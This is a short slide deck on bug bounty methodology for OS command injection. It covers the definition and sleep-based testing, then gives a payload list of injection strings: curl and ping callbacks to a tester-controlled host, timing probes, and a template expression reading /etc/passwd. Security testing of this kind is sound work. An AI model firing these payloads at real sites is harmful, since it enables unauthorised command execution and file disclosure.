



OS Command Injection Bug Hunting Methodology

Become a Successful
Bug Bounty Hunter



OS Command Injection – What?

- Ability to issue OS system commands via application input parameters
- Commands depend on OS
- One of the most critical bugs
- Like having a CMD or Bash prompt



OS Command Injection – Test

- Test every parameter
- Add sleep to every parameter
- Observe responses to sleep
- One of the most critical bugs
- Like having a CMD or Bash prompt



OS Command Injection - Samples

<https://www.example.com/help.php?view=faq> || sleep 15

<https://www.example.com/help.php?view=faq> | curl
<https://www.yoursite.com/>



OS Command Injection - Payload

```
| curl https://www.yoursite.com/  
|| curl https://www.yoursite.com/  
& curl https://www.yoursite.com/  
; curl https://www.yoursite.com/  
&& curl https://www.yoursite.com/  
|| sleep 15  
| sleep 15  
; sleep 15  
& sleep 15  
&& phpinfo()  
`ping yoursite.com`  
; curl https://www.yoursite.com/  
%0a curl https://www.yoursite.com/ %0a  
{{ get_user_file("/etc/passwd") }}  
${sleep(10)}
```




Thank You!

Become a Successful
Bug Bounty Hunter